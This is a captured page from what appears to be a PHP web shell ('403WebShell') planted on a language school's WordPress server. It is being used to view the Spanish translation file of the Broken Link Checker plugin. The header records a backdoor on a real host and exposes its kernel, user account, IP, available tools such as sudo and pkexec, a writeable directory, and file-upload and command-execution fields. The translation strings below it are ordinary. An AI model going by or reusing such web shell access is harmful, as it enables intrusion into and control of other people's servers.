Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.96.2  /  Your IP : 104.23.243.201
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nicolasj/www/blog.ecoledelangues.be/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nicolasj/www/blog.ecoledelangues.be/wp-content/languages/plugins/broken-link-checker-es_ES.po
# Translation of Plugins - Broken Link Checker - Stable (latest release) in Spanish (Spain)
# This file is distributed under the same license as the Plugins - Broken Link Checker - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2019-03-22 12:26:10+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/2.4.0-alpha\n"
"Language: es\n"
"Project-Id-Version: Plugins - Broken Link Checker - Stable (latest release)\n"

#. Author URI of the plugin
msgid "https://managewp.com"
msgstr "https://managewp.com"

#. Author of the plugin
msgid "ManageWP"
msgstr "ManageWP"

#: core/core.php:1431
msgid "Enter the keys of acf fields you want to check (one per line). If a field contains HTML code, prefix its name with <code>html:</code>. For example, <code>html:field_586a3eaa4091b</code>."
msgstr "Introduce las claves en los campos acf que quieras comprobar (una por línea). Si un campo contiene código HTML, ponle el prefijo <code>html:</code>. Por ejemplo, <code>html:field_586a3eaa4091b</code>."

#: core/core.php:111
msgid "Every 10 minutes"
msgstr "Cada 10 minutos"

#. Plugin URI of the plugin
msgid "https://wordpress.org/plugins/broken-link-checker/"
msgstr "https://es.wordpress.org/plugins/broken-link-checker/"

#. Description of the plugin
msgid "Checks your blog for broken links and missing images and notifies you on the dashboard if any are found."
msgstr "Comprueba tu blog en busca de enlaces y imágenes ausentes y te informa en el escritorio de WordPress si alguno fue encontrado."

#: modules/parsers/metadata.php:119 modules/parsers/acf_field.php:120
msgid "Custom field"
msgstr "Campo personalizado"

#: modules/parsers/image.php:186
msgid "Image"
msgstr "Imagen"

#: modules/extras/youtube.php:263
msgid "Unknown YouTube API response received."
msgstr "Recibida una respuesta desconocida de la API de YouTube"

#: modules/extras/youtube.php:214
msgid "Playlist OK"
msgstr "Lista de reproducción correcta"

#: modules/extras/youtube.php:205
msgid "Video Restricted"
msgstr "Vídeo restringido"

#: modules/extras/youtube.php:199
msgid "Video status : %s%s"
msgstr "Estado del vídeo: %s%s"

#: modules/extras/youtube.php:189
msgctxt "link status"
msgid "Empty Playlist"
msgstr "Lista de reproducción vacía"

#: modules/extras/youtube.php:188
msgid "This playlist has no entries or all entries have been deleted."
msgstr "Esta lista de reproducción no tiene elementos o se han borrado todos los elementos."

#: modules/extras/youtube.php:181
msgid "Playlist Restricted"
msgstr "Lista de reproducción restringida"

#: modules/extras/youtube.php:171 modules/extras/youtube.php:174
msgid "Playlist Not Found"
msgstr "Lista de reproducción no encontrada"

#: modules/extras/youtube.php:149 modules/extras/youtube.php:152
msgid "Video Not Found"
msgstr "Vídeo no encontrado"

#: modules/extras/youtube.php:137
msgid "Video OK"
msgstr "Video correcto"

#: modules/extras/youtube-playlist-embed.php:25
msgid "Embedded YouTube playlist"
msgstr "Lista de reproducción de YouTube incrustada"

#: modules/extras/youtube-playlist-embed.php:24
msgid "YouTube Playlist"
msgstr "Lista de reproducción de YouTube"

#: modules/extras/youtube-iframe.php:26 modules/extras/youtube-embed.php:25
msgid "Embedded YouTube video"
msgstr "Vídeo de YouTube incrustado"

#: modules/extras/youtube-iframe.php:25 modules/extras/youtube-embed.php:24
msgid "YouTube Video"
msgstr "Vídeo de YouTube"

#: modules/extras/vimeo-embed.php:25
msgid "Embedded Vimeo video"
msgstr "Vídeo de Vimeo incrustado"

#: modules/extras/vimeo-embed.php:24
msgid "Vimeo Video"
msgstr "Vídeo de Vimeo"

#: modules/extras/rapidshare.php:189
msgid "RapidShare API error: %s"
msgstr "Error de la API de RapidShare: %s"

#: modules/extras/rapidshare.php:183
msgid "RapidShare : %s"
msgstr "RapidShare : %s"

#: modules/extras/rapidshare.php:172
msgid "File Locked"
msgstr "Archivo bloqueado"

#: modules/extras/rapidshare.php:165
msgid "File Blocked"
msgstr "Archivo bloqueado"

#: modules/extras/rapidshare.php:158
msgid "RS Server Down"
msgstr "Servidor de RS caído"

#: modules/extras/rapidshare.php:51
msgid "Using RapidShare API"
msgstr "Usando la API de RapidShare"

#: modules/extras/mediafire.php:109
msgid "Permission Denied"
msgstr "Permiso denegado"

#: modules/extras/rapidshare.php:139 modules/extras/mediafire.php:97
#: modules/extras/mediafire.php:103
msgid "Not Found"
msgstr "No encontrado"

#: modules/extras/googlevideo-embed.php:25
msgid "Embedded GoogleVideo video"
msgstr "Vídeo de GoogleVideo incrustado"

#: modules/extras/googlevideo-embed.php:24
msgid "GoogleVideo Video"
msgstr "Vídeo de GoogleVideo"

#: modules/extras/embed-parser-base.php:197
msgid "Embedded videos can't be edited using Broken Link Checker. Please edit or replace the video in question manually."
msgstr "Los vídeos incrustados no pueden editarse usando Broken Link Checker. Por favor, edita o reemplaza el vídeo en cuestión manualmente."

#: modules/extras/dailymotion-embed.php:24
msgid "Embedded DailyMotion video"
msgstr "Vídeo de DailyMotion incrustado"

#: modules/extras/dailymotion-embed.php:23
msgid "DailyMotion Video"
msgstr "Vídeo de DailyMotion"

#: modules/containers/dummy.php:34 modules/containers/dummy.php:45
msgid "I don't know how to edit a '%s' [%d]."
msgstr "Desconozco como puedo editar '%s' [%d]."

#: modules/containers/custom_field.php:250 modules/containers/acf_field.php:258
msgid "View \"%s\""
msgstr "Ver \"%s\""

#: modules/containers/custom_field.php:216 modules/containers/acf_field.php:234
msgid "Edit this post"
msgstr "Modificar esta entrada"

#: modules/containers/custom_field.php:115 modules/containers/acf_field.php:132
msgid "Failed to delete the meta field '%s' on %s [%d]"
msgstr "Fallo para borrar el campo meta '%s' en %s [%d]"

#: modules/containers/custom_field.php:85 modules/containers/acf_field.php:102
msgid "Failed to update the meta field '%s' on %s [%d]"
msgstr "Fallo en la actualización del campo meta '%s' en %s [%d]"

#: modules/containers/comment.php:383
msgid "%d comment moved to the Trash."
msgid_plural "%d comments moved to the Trash."
msgstr[0] "%d comentario movido a la papelera"
msgstr[1] "%d comentarios movidos a la papelera"

#: modules/containers/comment.php:364
msgid "%d comment has been deleted."
msgid_plural "%d comments have been deleted."
msgstr[0] "%d comentario borrado."
msgstr[1] "%d comentarios borrados."

#: modules/containers/comment.php:189
msgid "Comment"
msgstr "Comentario"

#: modules/containers/comment.php:172
msgid "View comment"
msgstr "Ver comentario"

#: modules/containers/comment.php:168
msgctxt "verb"
msgid "Trash"
msgstr "Basura"

#: modules/containers/comment.php:168
msgid "Move this comment to the trash"
msgstr "Mover este comentario a la basura"

#: modules/containers/comment.php:166
msgid "Delete Permanently"
msgstr "Borrado permanente"

#: modules/containers/comment.php:159 modules/containers/comment.php:201
msgid "Edit comment"
msgstr "Modificar comentario"

#: modules/containers/comment.php:95
msgid "Can't move comment %d to the trash"
msgstr "No se pudo mover el comentario %d a la papelera"

#: modules/containers/comment.php:74
msgid "Failed to delete comment %d"
msgstr "Fallo para eliminar el comentario %d"

#: modules/containers/comment.php:53
msgid "Updating comment %d failed"
msgstr "Actualizando comentario %d falló"

#: modules/containers/blogroll.php:298
msgid "%d blogroll link deleted."
msgid_plural "%d blogroll links deleted."
msgstr[0] "%d enlace del blogroll borrado."
msgstr[1] "%d enlaces del blogroll borrados."

#: modules/containers/blogroll.php:128
msgid "Failed to delete blogroll link \"%s\" (%d)"
msgstr "No se pudo eliminar el enlace blogroll \"%s\" (%d)"

#: modules/containers/blogroll.php:97
msgid "Updating bookmark %d failed"
msgstr "Actualizando marcador %d falló"

#: modules/containers/blogroll.php:47
msgid ""
"You are about to delete this link '%s'\n"
"  'Cancel' to stop, 'OK' to delete."
msgstr ""
"Estás a punto de borrar este enlace '%s'\n"
"  'Cancelar' para salir, 'Aceptar para borrarlo."

#: modules/containers/blogroll.php:27 modules/containers/blogroll.php:46
msgid "Edit this bookmark"
msgstr "Modificar este marcador"

#: modules/containers/blogroll.php:21
msgid "Bookmark"
msgstr "Marcador"

#: modules/checkers/http.php:465
msgid "Using Snoopy"
msgstr "Utilizando Snoopy"

#: modules/checkers/http.php:447
msgid "Request timed out."
msgstr "Tiempo de espera agotado."

#: modules/checkers/http.php:376
msgid "Most likely the connection timed out or the domain doesn't exist."
msgstr "Lo más probable es que el tiempo de espera se agotase o bien que el dominio no exista."

#: modules/checkers/http.php:358 modules/checkers/http.php:440
msgid "(No response)"
msgstr "(Sin respuesta)"

#: modules/checkers/http.php:356 modules/checkers/http.php:438
msgid "HTTP code : %d"
msgstr "Código HTTP : %d"

#: modules/checkers/http.php:308
msgid "Connection Failed"
msgstr "Fallo en la conexión"

#: modules/checkers/http.php:292
msgid "Server Not Found"
msgstr "Servidor no encontrado"

#: includes/utility-class.php:263
msgid "%d month ago"
msgid_plural "%d months ago"
msgstr[0] "hace %d mes"
msgstr[1] "hace %d meses"

#: includes/utility-class.php:262
msgid "%d month"
msgid_plural "%d months"
msgstr[0] "%d mes"
msgstr[1] "%d meses"

#: includes/utility-class.php:259
msgid "%d day ago"
msgid_plural "%d days ago"
msgstr[0] "hace %d día"
msgstr[1] "hace %d días"

#: includes/utility-class.php:258
msgid "%d day"
msgid_plural "%d days"
msgstr[0] "%d dia"
msgstr[1] "%d días"

#: includes/utility-class.php:255
msgid "%d hour ago"
msgid_plural "%d hours ago"
msgstr[0] "hace %d hora"
msgstr[1] "hace %d horas"

#: includes/utility-class.php:254
msgid "%d hour"
msgid_plural "%d hours"
msgstr[0] "%d hora"
msgstr[1] "%d horas"

#: includes/utility-class.php:251
msgid "%d minute ago"
msgid_plural "%d minutes ago"
msgstr[0] "hace %d minuto"
msgstr[1] "hace %d minutos"

#: includes/utility-class.php:250
msgid "%d minute"
msgid_plural "%d minutes"
msgstr[0] "%d minuto"
msgstr[1] "%d minutos"

#: includes/utility-class.php:247
msgid "%d second ago"
msgid_plural "%d seconds ago"
msgstr[0] "hace %d segundo"
msgstr[1] "hace %d segundos"

#: includes/utility-class.php:246
msgid "%d second"
msgid_plural "%d seconds"
msgstr[0] "%d segundo"
msgstr[1] "%d segundos"

#: includes/parsers.php:132
msgid "Unlinking is not implemented in the '%s' parser"
msgstr "La desvinculación no ha sido implementada en el '%s' analizador sintáctico"

#: includes/parsers.php:117
msgid "Editing is not implemented in the '%s' parser"
msgstr "La edición no ha sido implementada en el '%s' analizado sintáctico"

#: modules/extras/rapidshare.php:145 modules/extras/rapidshare.php:151
#: modules/extras/rapidshare.php:178 modules/extras/youtube.php:138
#: modules/extras/youtube.php:215 includes/links.php:1052
msgctxt "link status"
msgid "OK"
msgstr "Aceptar"

#: includes/links.php:1049
msgid "False positive"
msgstr "Falso positivo"

#: includes/links.php:1046
msgid "Not checked"
msgstr "Sin seleccionar"

#: modules/checkers/http.php:315 modules/extras/mediafire.php:115
#: modules/extras/youtube.php:132 modules/extras/youtube.php:229
#: includes/links.php:1022
msgid "Unknown Error"
msgstr "Error desconocido"

#: includes/links.php:1009
msgctxt "link status"
msgid "Unknown"
msgstr "Desconocido"

#: includes/links.php:898 includes/links.php:935
msgid "Couldn't delete the link's database record"
msgstr "No es posible eliminar el enlace del registo de la BD"

#: includes/links.php:844
msgid "This link is not a redirect"
msgstr "Este enlace no es una redirección"

#: includes/links.php:778
msgid "Failed to create a DB entry for the new URL."
msgstr "Fallo en la creación del registro en la BD para la nueva URL."

#: includes/links.php:752
msgid "This link can not be edited because it is not used anywhere on this site."
msgstr "Este enlace no puede ser editado, porque no se utiliza en ninguna otra parte de este sitio."

#: includes/links.php:735 includes/links.php:837 includes/links.php:871
msgid "Link is not valid"
msgstr "El enlace no es válido"

#: includes/links.php:504
msgid "Link is valid."
msgstr "El enlace es válido."

#: includes/links.php:502
msgid "Link is broken."
msgstr "El enlace está roto."

#: includes/links.php:271
msgid "The plugin doesn't know how to check this type of link."
msgstr "El plugin desconoce como comprobar este tipo de enlace."

#: includes/links.php:224
msgid "The plugin script was terminated while trying to check the link."
msgstr "El plugin script ha terminado mientras intentaba comprobar el enlace."

#: includes/link-query.php:83 includes/link-query.php:130
msgid "No links found for your query"
msgstr "No se han encontrado enlaces que correspondan con la consulta"

#: includes/link-query.php:82
msgid "Search Results"
msgstr "Resultados de búsqueda"

#: includes/link-query.php:68
msgid "No dismissed links found"
msgstr "No se han encontrado enlaces descartados"

#: includes/link-query.php:67
msgid "Dismissed Links"
msgstr "Enlaces descartados"

#: includes/link-query.php:66
msgid "Dismissed"
msgstr "Descartado"

#: includes/link-query.php:58
msgid "No redirects found"
msgstr "No se han encontrado redirecciones"

#: includes/link-query.php:57
msgid "Redirected Links"
msgstr "Enlaces Redireccionados"

#: includes/link-query.php:56
msgid "Redirects"
msgstr "Redirecciones"

#: includes/link-query.php:48
msgid "No warnings found"
msgstr "No hay ninguna advertencia"

#: includes/link-query.php:47
msgid "Warnings"
msgstr "Avisos"

#: includes/link-query.php:46
msgctxt "filter name"
msgid "Warnings"
msgstr "Advertencias"

#: includes/link-query.php:38
msgid "No broken links found"
msgstr "No se han encontrado enlaces rotos"

#: includes/link-query.php:36
msgid "Broken"
msgstr "Roto(s)"

#: includes/link-query.php:27
msgid "No links found (yet)"
msgstr "No se han encontrado enlaces (aún)"

#: includes/link-query.php:26
msgid "Detected Links"
msgstr "Enlaces Detectados"

#: includes/link-query.php:25
msgid "All"
msgstr "Todos"

#: includes/instances.php:114 includes/instances.php:170
msgid "Parser '%s' not found."
msgstr "Analizador sintáctico '%s' no encontrado."

#: includes/instances.php:105 includes/instances.php:161
msgid "Container %s[%d] not found"
msgstr "Contenedor  %s[%d] no encontrado"

#: includes/extra-strings.php:20
msgctxt "module name"
msgid "Pages"
msgstr "Páginas"

#: includes/extra-strings.php:19
msgctxt "module name"
msgid "Posts"
msgstr "Entradas"

#: includes/extra-strings.php:18
msgctxt "module name"
msgid "YouTube API"
msgstr "API de YouTube"

#: includes/extra-strings.php:17
msgctxt "module name"
msgid "Smart YouTube httpv:// URLs"
msgstr "URLs httpv:// de Smart YouTube"

#: includes/extra-strings.php:16
msgctxt "module name"
msgid "RapidShare API"
msgstr "API de RapidShare"

#: includes/extra-strings.php:15
msgctxt "module name"
msgid "Plaintext URLs"
msgstr "URLs en texto plano"

#: includes/extra-strings.php:14
msgctxt "module name"
msgid "MediaFire API"
msgstr "API de MediaFire"

#: includes/extra-strings.php:13
msgctxt "module name"
msgid "HTML links"
msgstr "Enlaces HTML"

#: includes/extra-strings.php:12
msgctxt "module name"
msgid "HTML images"
msgstr "Imágenes HTML"

#: includes/extra-strings.php:11
msgctxt "module name"
msgid "Embedded YouTube videos (old embed code)"
msgstr "Vídeos de YouTube incrustados (código de incrustación antiguo)"

#: includes/extra-strings.php:10
msgctxt "module name"
msgid "Embedded YouTube videos"
msgstr "Vídeos de YouTube incrustados"

#: includes/extra-strings.php:9
msgctxt "module name"
msgid "Embedded YouTube playlists (old embed code)"
msgstr "Listas de YouTube incrustadas (código de incrustación antiguo)"

#: includes/extra-strings.php:8
msgctxt "module name"
msgid "Embedded Vimeo videos"
msgstr "Vídeos de Vimeo incrustados"

#: includes/extra-strings.php:7
msgctxt "module name"
msgid "Embedded GoogleVideo videos"
msgstr "Vídeos de GoogleVideo incrustados"

#: includes/extra-strings.php:6
msgctxt "module name"
msgid "Embedded DailyMotion videos"
msgstr "Vídeos de DailyMotion incrustados"

#: includes/extra-strings.php:5
msgctxt "module name"
msgid "Custom fields"
msgstr "Campos personalizados"

#: includes/extra-strings.php:4
msgctxt "module name"
msgid "Comments"
msgstr "Comentarios"

#: includes/extra-strings.php:3
msgctxt "module name"
msgid "Blogroll items"
msgstr "Elementos del blogroll"

#: includes/extra-strings.php:2
msgctxt "module name"
msgid "Basic HTTP"
msgstr "HTTP básico"

#: includes/containers.php:888 includes/containers.php:906
msgid "Container type '%s' not recognized"
msgstr "Contenedor tipo  '%s' no ha sido reconocido"

#: includes/containers.php:122
msgid "%d '%s' has been deleted"
msgid_plural "%d '%s' have been deleted"
msgstr[0] "%d '%s' ha sido borrado"
msgstr[1] "%d '%s' han sido borrados"

#: includes/any-post.php:799
msgid "%d \"%s\" moved to the Trash."
msgid_plural "%d \"%s\" moved to the Trash."
msgstr[0] "%d \"%s\" movido a la papelera."
msgstr[1] "%d \"%s\" movidos a la papelera."

#: includes/any-post.php:797
msgid "%d page moved to the Trash."
msgid_plural "%d pages moved to the Trash."
msgstr[0] "%d página trasladada a la papelera."
msgstr[1] "%d páginas trasladadas a la papelera."

#: includes/any-post.php:795
msgid "%d post moved to the Trash."
msgid_plural "%d posts moved to the Trash."
msgstr[0] "%d entrada movida a la papelera."
msgstr[1] "%d entradas movidas a la papelera."

#: includes/any-post.php:776
msgid "%d \"%s\" deleted."
msgid_plural "%d \"%s\" deleted."
msgstr[0] "%d \"%s\" borrada."
msgstr[1] "%d \"%s\" borradas."

#: includes/any-post.php:774
msgid "%d page deleted."
msgid_plural "%d pages deleted."
msgstr[0] "%d página borrada."
msgstr[1] "%d páginas borradas."

#: includes/any-post.php:772
msgid "%d post deleted."
msgid_plural "%d posts deleted."
msgstr[0] " %d entrada borrada."
msgstr[1] "%d entradas borradas"

#: modules/containers/custom_field.php:355 modules/containers/acf_field.php:353
#: includes/any-post.php:664
msgid "Failed to move post \"%s\" (%d) to the trash"
msgstr "Error al trasladar la entrada \"%s\" (%d) a la papelera"

#: modules/containers/custom_field.php:336 modules/containers/acf_field.php:341
#: includes/any-post.php:644
msgid "Can't move post \"%s\" (%d) to the trash because the trash feature is disabled"
msgstr "No se ha podido trasladar \"%s\" (%d) a la papelera porque esa característica está inactiva"

#: modules/containers/custom_field.php:317 modules/containers/acf_field.php:327
#: includes/any-post.php:625
msgid "Failed to delete post \"%s\" (%d)"
msgstr "Error al borrar el mensaje \"%s\" (%d)"

#: includes/any-post.php:588
msgid "Updating post %d failed"
msgstr "Actualizando mensaje %d falló"

#: modules/containers/blogroll.php:83 modules/containers/comment.php:43
#: includes/any-post.php:578
msgid "Nothing to update"
msgstr "Nada que actualizar"

#: modules/containers/custom_field.php:230 modules/containers/acf_field.php:248
#: includes/any-post.php:514
msgid "Edit this item"
msgstr "Modificar este elemento"

#: modules/containers/custom_field.php:250 modules/containers/comment.php:172
#: modules/containers/acf_field.php:258 includes/any-post.php:495
msgid "View"
msgstr "Ver"

#: includes/any-post.php:494
msgid "View &#8220;%s&#8221;"
msgstr "Ver &#8220;%s&#8221;"

#: includes/any-post.php:487
msgid "Preview"
msgstr "Vista previa"

#: includes/any-post.php:486
msgid "Preview &#8220;%s&#8221;"
msgstr "Vista previa &#8220;%s&#8221;"

#: modules/containers/blogroll.php:47 modules/containers/custom_field.php:245
#: modules/containers/acf_field.php:254 includes/any-post.php:473
msgid "Delete"
msgstr "Borrar"

#: modules/containers/custom_field.php:243 modules/containers/acf_field.php:254
#: includes/any-post.php:471
msgid "Delete this item permanently"
msgstr "Borrar permanentemente este elemento"

#: modules/containers/custom_field.php:238 modules/containers/acf_field.php:252
#: includes/any-post.php:466
msgid "Trash"
msgstr "Basura"

#: modules/containers/custom_field.php:236 modules/containers/acf_field.php:252
#: includes/any-post.php:464
msgid "Move this item to the Trash"
msgstr "Mover este elemento a la papelera"

#: modules/containers/blogroll.php:46 modules/containers/custom_field.php:230
#: modules/containers/comment.php:159 modules/containers/acf_field.php:248
#: includes/any-post.php:456
msgid "Edit"
msgstr "Modificar"

#: includes/admin/table-printer.php:892
msgid "Use this URL"
msgstr "Usar esta URL"

#: includes/admin/table-printer.php:872
msgctxt "inline link editor"
msgid "Suggestions"
msgstr "Sugerencias"

#: includes/admin/table-printer.php:867
msgctxt "inline link editor"
msgid "URL"
msgstr "URL"

#: includes/admin/table-printer.php:862
msgctxt "inline link editor"
msgid "Text"
msgstr "Texto"

#: includes/admin/table-printer.php:859
msgctxt "inline editor title"
msgid "Edit Link"
msgstr "Modificar enlace"

#: includes/admin/table-printer.php:782
msgid "[An orphaned link! This is a bug.]"
msgstr "[¡Un enlace huérfano! Esto es un fallo.]"

#: includes/admin/table-printer.php:755
msgid "Update URL"
msgstr "Actualizar URL"

#: includes/admin/table-printer.php:721
msgid "Replace this redirect with a direct link"
msgstr "Reemplazar esta redirección con un enlace directo"

#: includes/admin/table-printer.php:708
msgid "Undismiss"
msgstr "No descartar"

#: includes/admin/table-printer.php:707
msgid "Undismiss this link"
msgstr "No descartar este enlace"

#: includes/admin/table-printer.php:701
msgid "Hide this link and do not report it again unless its status changes"
msgstr "Ocultar este enlace y no informar de nuevo a menos que cambie su estado"

#: includes/admin/table-printer.php:693
msgid "Remove this link from the list of broken links and mark it as valid"
msgstr "Eliminar este enlace de la lista de enlaces rotos y marcarlo como válido"

#: includes/admin/table-printer.php:687
msgid "Remove this link from all posts"
msgstr "Eliminar este enlace de todas las entradas"

#: includes/admin/table-printer.php:685
msgid "Edit this link"
msgstr "Modificar este enlace"

#: includes/admin/table-printer.php:664
msgctxt "link in the \"Status\" column"
msgid "Details"
msgstr "Detalles"

#: includes/admin/table-printer.php:652
msgid "Broken for"
msgstr "Roto en"

#: includes/admin/table-printer.php:636
msgctxt "checked how long ago"
msgid "Checked"
msgstr "Comprobado"

#: includes/admin/table-printer.php:618 includes/admin/table-printer.php:663
msgid "Show more info about this link"
msgstr "Mostrar más información sobre este enlace"

#: includes/admin/table-printer.php:593
msgid "Log"
msgstr "Registro"

#: includes/admin/table-printer.php:582
msgid "This link has been broken for %s."
msgstr "El enlace ha sido roto por %s."

#: includes/admin/table-printer.php:574
msgid "This link has failed %d time."
msgid_plural "This link has failed %d times."
msgstr[0] "Este enlace ha fallado %d vez."
msgstr[1] "Este enlace ha fallado %d veces."

#: includes/admin/table-printer.php:565
msgid "Instance count"
msgstr "Recuento de casos"

#: includes/admin/table-printer.php:560
msgid "Redirect count"
msgstr "Recuento de redirecciones"

#: includes/admin/table-printer.php:555
msgid "Final URL"
msgstr "URL final"

#: includes/admin/table-printer.php:552
msgid "%2.3f seconds"
msgstr "%2.3f segundos"

#: includes/admin/table-printer.php:550
msgid "Response time"
msgstr "Tiempo de respuesta"

#: includes/admin/table-printer.php:535
msgid "Never"
msgstr "Nunca"

#: includes/admin/table-printer.php:531
msgid "Link last checked"
msgstr "Última comprobación"

#: includes/admin/table-printer.php:526
msgid "Post published on"
msgstr "Entrada publicada el"

#: includes/admin/table-printer.php:371 includes/admin/table-printer.php:880
msgid "Update"
msgstr "Actualizar"

#: includes/admin/table-printer.php:363
msgid "Regular expression"
msgstr "Expresión regular"

#: includes/admin/table-printer.php:359
msgid "Case sensitive"
msgstr "Distinguir may/min"

#: includes/admin/table-printer.php:351
msgid "Replace with"
msgstr "Reemplazar con"

#: includes/admin/table-printer.php:347
msgid "Find"
msgstr "Encontrar"

#: includes/admin/table-printer.php:345
msgid "Bulk Edit URLs"
msgstr "Modificar URLs en masa"

#: includes/admin/table-printer.php:322
msgid "Displaying %s&#8211;%s of <span class=\"current-link-count\">%s</span>"
msgstr "Mostrando %s&#8211;%s de <span class=\"current-link-count\">%s</span>"

#: includes/admin/table-printer.php:314
msgid "&raquo;"
msgstr "&raquo;"

#: includes/admin/table-printer.php:313
msgid "&laquo;"
msgstr "&laquo;"

#: includes/admin/table-printer.php:298
msgid "Delete sources"
msgstr "Borrar fuentes"

#: includes/admin/table-printer.php:296
msgid "Move sources to Trash"
msgstr "Mover recursos a la papelera"

#: includes/admin/table-printer.php:291
msgid "Mark as not broken"
msgstr "Marcar como no roto"

#: includes/admin/table-printer.php:290
msgid "Fix redirects"
msgstr "Solucionar las redirecciones"

#: includes/admin/table-printer.php:287
msgid "Bulk Actions"
msgstr "Procedimiento por lotes"

#: includes/admin/table-printer.php:236
msgid "Redirect URL"
msgstr "Redireccionar URL"

#: includes/admin/table-printer.php:229
msgid "Link Text"
msgstr "Texto del Enlace"

#: includes/admin/table-printer.php:223
msgid "Source"
msgstr "Fuente"

#: includes/admin/table-printer.php:193
msgid "Detailed View"
msgstr "Vista detallada"

#: includes/admin/table-printer.php:188
msgid "Compact View"
msgstr "Vista compacta"

#: includes/admin/search-form.php:113 includes/admin/table-printer.php:369
#: includes/admin/table-printer.php:754 includes/admin/table-printer.php:879
msgid "Cancel"
msgstr "Cancelar"

#: includes/admin/search-form.php:112
msgid "Search Links"
msgstr "Buscar enlaces"

#: includes/admin/search-form.php:74
msgid "Links used in"
msgstr "Enlaces usados en"

#: includes/admin/search-form.php:70
msgid "Any"
msgstr "Cualquiera"

#: includes/admin/search-form.php:68 includes/admin/search-form.php:85
msgid "Link type"
msgstr "Tipo de Enlace"

#: includes/admin/search-form.php:51
msgid "Link status"
msgstr "Estado del Enlace"

#: includes/admin/search-form.php:48 includes/admin/table-printer.php:545
msgid "HTTP code"
msgstr "Código HTTP"

#: includes/admin/search-form.php:45 includes/admin/table-printer.php:216
msgid "URL"
msgstr "URL"

#: includes/admin/search-form.php:42
msgid "Link text"
msgstr "Texto del Enlace"

#: includes/link-query.php:81 includes/admin/search-form.php:32
msgid "Search"
msgstr "Buscar"

#: includes/admin/search-form.php:26
msgid "Delete This Filter"
msgstr "Borrar este Filtro"

#: includes/admin/search-form.php:16
msgid "Save This Search As a Filter"
msgstr "Guardar esta búsqueda como un Filtro"

#: includes/admin/options-page-js.php:54
msgid "Hide debug info"
msgstr "Ocultar información de depuración"

#: includes/admin/links-page-js.php:938
msgid "Select one or more links to edit."
msgstr "Elige uno o más enlaces a modificar."

#: includes/admin/links-page-js.php:931
msgid "Enter a search string first."
msgstr "Introduce primero una cadena de búsqueda."

#: includes/admin/links-page-js.php:801
msgid ""
"Are you sure you want to remove the selected links? This action can't be undone.\n"
"'Cancel' to stop, 'OK' to remove"
msgstr ""
"¿Estás seguro de querer borrar los enlaces seleccionados? Esta acción es irreversible.\n"
"'Cancelar' para parar, 'Aceptar' para borrar"

#: includes/admin/links-page-js.php:787
msgid ""
"Are you sure you want to delete all posts, bookmarks or other items that contain any of the selected links? This action can't be undone.\n"
"'Cancel' to stop, 'OK' to delete"
msgstr ""
"¿Está seguro que desea eliminar todos los mensajes, marcadores u otros artículos que contengan cualquiera de los vínculos seleccionados? Esta acción no podrá deshacerse.\n"
"'Cancelar' para detener la operación, 'Aceptar' para borrar"

#: includes/admin/links-page-js.php:763
msgid ""
"You are about to delete the current filter.\n"
"'Cancel' to stop, 'OK' to delete"
msgstr ""
"Estás a punto de borrar el filtro actual.\n"
" 'Cancelar' para salir, 'Aceptar' para borrarlo."

#: includes/admin/links-page-js.php:751
msgid "Enter a name for the new custom filter"
msgstr "Introduce un nombre para el nuevo filtro"

#: includes/admin/links-page-js.php:705
msgid "The following error(s) occured :"
msgstr "Se ha producido el siguiente error(s) :"

#: includes/admin/links-page-js.php:702
msgid "The plugin failed to remove the link."
msgstr "El plugin no ha podido eliminar el enlace."

#: includes/admin/links-page-js.php:697
msgid "However, %d instances couldn't be removed."
msgstr "A pesar de todo, %d casos no han podido ser eliminados."

#: includes/admin/links-page-js.php:691
msgid "%d instances of the link were successfully unlinked."
msgstr "%d casos de los enlaces fueron satisfactoriamente desconectados."

#: includes/admin/links-page-js.php:615
msgid "Error: Link URL must not be empty."
msgstr "Error. La URL del enlace no debe estar vacía."

#: includes/admin/links-page-js.php:543
msgid "The following error(s) occurred :"
msgstr "Ocurrieron los siguientes errores:"

#: includes/admin/links-page-js.php:540
msgid "The link could not be modified."
msgstr "El enlace no ha podido ser modificado."

#: includes/admin/links-page-js.php:534
msgid "However, %d instances couldn't be edited and still point to the old URL."
msgstr "A pesar de todo, %d casos no pudieron ser editados y aún apuntan hacia la vieja URL."

#: includes/admin/links-page-js.php:528
msgid "%d instances of the link were successfully modified."
msgstr "%d casos del enlace se modificaron satisfactoriamente."

#: includes/admin/links-page-js.php:431
msgctxt "link suggestions"
msgid "Archived page from %s (via the Wayback Machine)"
msgstr "Página archivada desde %s (a través de la Wayback Machine)"

#: includes/admin/links-page-js.php:430
msgctxt "link suggestions"
msgid "No suggestions available."
msgstr "Ninguna sugerencia disponible."

#: includes/admin/links-page-js.php:429
msgctxt "link suggestions"
msgid "Searching..."
msgstr "Buscando…"

#: includes/admin/links-page-js.php:371
msgctxt "link text"
msgid "(Multiple links)"
msgstr "(Varios enlaces)"

#: includes/admin/links-page-js.php:370
msgctxt "link text"
msgid "(None)"
msgstr "(Ninguno)"

#: includes/admin/links-page-js.php:64 includes/admin/links-page-js.php:653
msgid "Wait..."
msgstr "Espere ..."

#: includes/admin/db-upgrade.php:97
msgid "Failed to delete old DB tables. Database error : %s"
msgstr "Fallo en el borrado de las tablas de la BD. Error de la base de datos : %s"

#: core/init.php:342
